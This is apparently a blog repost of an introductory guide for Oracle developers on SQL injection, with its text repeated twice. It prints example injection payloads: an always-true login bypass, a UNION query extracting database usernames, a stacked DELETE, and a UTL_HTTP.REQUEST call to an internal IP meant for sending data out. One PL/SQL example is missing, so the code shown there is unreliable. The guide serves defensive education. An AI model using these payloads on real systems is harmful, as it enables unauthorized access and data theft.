An Introduction to SQL Injection Attacks for Oracle Developers .
Tweet |
An Introduction to SQL Injection Attacks for Oracle Developers. SQL injection is a basic attack used to either gain unauthorized access to a database or to retrieve information directly from the database. The principles behind a SQL injection are simple and these types of attacks are easy to execute and master. We believe web applications using Oracle as a back-end database are more vulnerable to SQL injection attacks than most application developers think. Our application audits have found many web applications vulnerable to SQL injection even though well established coding standards were in place during development of many of these applications. Function-based SQL injection attacks are of most concern since these attacks do not require knowledge of the application and can be easily automated. Fortunately, SQL injection attacks are easy to defend against with simple coding practices. However, every parameter passed to every dynamic SQL statement must be validated or bind variables must be used. SQL Injection: Oracle versus Other Databases Oracle has generally faired well against SQL injection attacks as there is no multiple SQL statement support (SQL Server and PostgreSQL), no EXECUTE statement (SQL Server), and no INTO OUTFILE function (MySQL). Also, use of bind variables in Oracle environments for performance reasons provides strong protection against SQL injection attacks. Oracle may provide stronger and more inherent protections against SQL injection attacks than other database, however applications without proper defenses against these types of attacks can be vulnerable. Despite these advantages many web applications are vulnerable to SQL injection attacks. Categories of SQL Injection Attacks. There are four main categories of SQL Injection attacks against Oracle databases – 1. SQL Manipulation 2. Code Injection 3. Function Call Injection 4. Buffer Overflows The first two categories, SQL manipulation and code injection, should be well known to the reader, as these are the most commonly described attacks for all types of databases (including SQL Server, MySQL, ProgressSQL, and Oracle). SQL manipulation involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE. Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle. The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks. Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. There are four types of SQL Injection attacks which work for Oracle databases. The first two types – SQL manipulation and code injection – are well known and documented. However, function call injection and buffer overflow attacks are not well documented and many applications are vulnerable to these types of attacks. All of these types of SQL injection are valid for other databases including SQL Server, DB2, MySQL, and PostgreSQL. The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the WHERE clause or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant examples. The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned.
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' The attacker attempts to manipulate the SQL statement to execute as SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a' Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products – SELECT product_name FROM all_products WHERE product_name like '%Chairs%' The attacker attempts to manipulate the SQL statement to execute as – SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%' The list returned to the web form will include all the selected products, but also all the database users in the application. Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks – there is no corresponding statement in Oracle. In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application. This statement will result in an error – SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin'; However, some programming languages or APIs may allow for multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application – The above example PL/SQL block executes an application stored procedure that encrypts and saves the user’s password. An attacker will attempt to manipulate the PL/SQL block to execute as – BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END; Function Call Injection Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database. The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a few of these functions may be useful in a SQL injection attack. Some of these functions do perform network activities which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement. Functions executed as part of a SQL SELECT statement can not make any changes to the database unless the function is marked as “PRAGMA TRANSACTION”. None of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database. Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server. Many native Oracle applications leverage database packages which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions. The issue with function call injection is that any dynamically generated SQL statement is vulnerable. Even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement. SELECT TRANSLATE('user input', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; The SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789') FROM dual; The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as “PRAGMA TRANSACTION”, so it could be executed under any special circumstances that the application might encounter. Since it is marked “PRAGMA TRANSACTION”, it can write to the database even in a SELECT statement. |
|
An Introduction to SQL Injection Attacks for Oracle Developers.
SQL Injection: Oracle versus Other Databases
Oracle has generally faired well against SQL injection attacks as there is no multiple SQL statement support (SQL Server and PostgreSQL), no EXECUTE statement (SQL Server), and no INTO OUTFILE function (MySQL). Also, use of bind variables in Oracle environments for performance reasons provides strong protection against SQL injection attacks. Oracle may provide stronger and more inherent protections against SQL injection attacks than other database, however applications without proper defenses against these types of attacks can be vulnerable. Despite these advantages many web applications are vulnerable to SQL injection attacks.
Categories of SQL Injection Attacks.
There are four main categories of SQL Injection attacks against Oracle databases –
1. SQL Manipulation
2. Code Injection
3. Function Call Injection
4. Buffer Overflows
The first two categories, SQL manipulation and code injection, should be well known to the reader, as these are the most commonly described attacks for all types of databases (including SQL Server, MySQL, ProgressSQL, and Oracle).
SQL manipulation involves modifying the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return a different result. Many documented SQL injection attacks are of this type. The most well known attack is to modify the WHERE clause of the user authentication statement so the WHERE clause always results in TRUE.
Code injection is when an attacker inserts new SQL statements or database commands into the SQL statement. The classic code injection attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement. Code injection only works when multiple SQL statements per database request are supported. SQL Server and PostgreSQL have this capability and it is sometimes possible to inject multiple SQL statements with Oracle.
The last two categories are more specific attacks against Oracle databases and are not well known or documented. In the vast majority of our application audits, we have found applications vulnerable to these two types of attacks. Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database.
There are four types of SQL Injection attacks which work for Oracle databases. The first two types – SQL manipulation and code injection – are well known and documented. However, function call injection and buffer overflow attacks are not well documented and many applications are vulnerable to these types of attacks. All of these types of SQL injection are valid for other databases including SQL Server, DB2, MySQL, and PostgreSQL.
The most common type of SQL Injection attack is SQL manipulation. The attacker attempts to modify the existing SQL statement by adding elements to the WHERE clause or extending the SQL statement with set operators like UNION, INTERSECT, or MINUS. There are other possible variations, but these are the most significant examples.
The classic SQL manipulation is during the login authentication. A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned.
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'
The attacker attempts to manipulate the SQL statement to execute as
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword' or 'a' = 'a'
Based on operator precedence, the WHERE clause is true for every row and the attacker has gained access to the application. The set operator UNION is frequently used in SQL injection attacks. The goal is to manipulate a SQL statement into returning rows from another table. A web form may execute the following query to return a list of available products –
SELECT product_name FROM all_products WHERE product_name like '%Chairs%'
The attacker attempts to manipulate the SQL statement to execute as –
SELECT product_name FROM all_products WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'
The list returned to the web form will include all the selected products, but also all the database users in the application.
Code injection attacks attempt to add additional SQL statements or commands to the existing SQL statement. This type of attack is frequently used against Microsoft SQL Server applications, but seldom works with an Oracle database. The EXECUTE statement in SQL Server is a frequent target of SQL injection attacks – there is no corresponding statement in Oracle. In PL/SQL and Java, Oracle does not support multiple SQL statements per database request. Thus, the following common injection attack will not work against an Oracle database via a PL/SQL or Java application. This statement will result in an error –
SELECT * FROM users WHERE username = 'bob' and PASSWORD = 'mypassword'; DELETE FROM users WHERE username = 'admin';
However, some programming languages or APIs may allow for multiple SQL statements to be executed. PL/SQL and Java applications can dynamically execute anonymous PL/SQL blocks, which are vulnerable to code injection. The following is an example of a PL/SQL block executed in a web application –
The above example PL/SQL block executes an application stored procedure that encrypts and saves the user’s password. An attacker will attempt to manipulate the PL/SQL block to execute as –
BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END;
Function Call Injection
Function call injection is the insertion of Oracle database functions or custom functions into a vulnerable SQL statement. These function calls can be used to make operating system calls or manipulate data in the database.
The Oracle database allows functions or functions in packages to be executed as part of a SQL statement. By default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a few of these functions may be useful in a SQL injection attack. Some of these functions do perform network activities which can be exploited. Any custom function or function residing in a custom package can also be executed in a SQL statement.
Functions executed as part of a SQL SELECT statement can not make any changes to the database unless the function is marked as “PRAGMA TRANSACTION”. None of the standard Oracle functions are executed as autonomous transactions. Functions executed in INSERT, UPDATE, or DELETE statements are able to modify data in the database.
Using the standard Oracle functions, an attacker can send information from the database to a remote computer or execute other attacks from the database server. Many native Oracle applications leverage database packages which can be exploited by an attacker. These custom packages may include functions to change passwords or perform other sensitive application transactions.
The issue with function call injection is that any dynamically generated SQL statement is vulnerable. Even the simplest SQL statements can be effectively exploited. The following example demonstrates even the most simple of SQL statements can be vulnerable. Application developers will sometimes use database functions instead of native code (e.g., Java) to perform common tasks. There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.
SELECT TRANSLATE('user input', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')
FROM dual;
The SQL statement is not vulnerable to other types of injection attacks, but is easily manipulated through a function injection attack. The attacker attempts to manipulate the SQL statement to execute as
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '', '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')
FROM dual;
The changed SQL statement will request a page from a web server. The attacker could manipulate the string and URL to include other functions in order to retrieve useful information from the database server and send it to the web server in the URL. Since the Oracle database server is most likely behind a firewall, it could also be used to attack other servers on the internal network. Custom functions and functions in custom packages can also be executed. An example would be a custom application has the function ADDUSER in the custom package MYAPPADMIN. The developer marked the function as “PRAGMA TRANSACTION”, so it could be executed under any special circumstances that the application might encounter. Since it is marked “PRAGMA TRANSACTION”, it can write to the database even in a SELECT statement.
0 Comments:
Post a Comment